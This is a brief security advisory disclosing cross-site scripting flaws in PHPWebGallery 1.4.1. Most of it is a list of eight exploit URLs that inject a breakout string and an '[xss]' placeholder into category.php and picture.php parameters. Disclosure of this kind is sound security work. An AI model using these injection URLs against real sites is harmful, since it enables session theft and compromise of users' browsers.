PHPWebGallery Multiple Cross Site Scripting Vulnerabilities

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Title : PHPWebGallery Multiple Cross Site Scripting Vulnerabilities
Author: Mourad aka Psych0 <root__ at linuxmail org>
Moroccan Security Team
Vendor: www.phpwebgallery.net
Software: PHPWebGallery
Version:  1.4.1

category.php and picture.php scripts are vulnerable to XSS attacks.

Exploits:

http://target/phpwebgallery_dir/category.php?cat=";>[xss]

http://target/phpwebgallery_dir/category.php?cat=";>[xss]&num=0

http://target/phpwebgallery_dir/category.php?cat=1&num=";>[xss]

http://target/phpwebgallery_dir/category.php?cat=";>[xss]&search=date_available%3A2006-01-01

http://target/phpwebgallery_dir/category.php?cat=1&search=";>[xss]

http://target/phpwebgallery_dir/picture.php?cat=1&image_id=1&slideshow=";>[xss]

http://target/phpwebgallery_dir/picture.php?cat=1&image_id=1&show_metadata=";>[xss]

http://target/phpwebgallery_dir/picture.php?cat=1&image_id=1&start=";>[xss]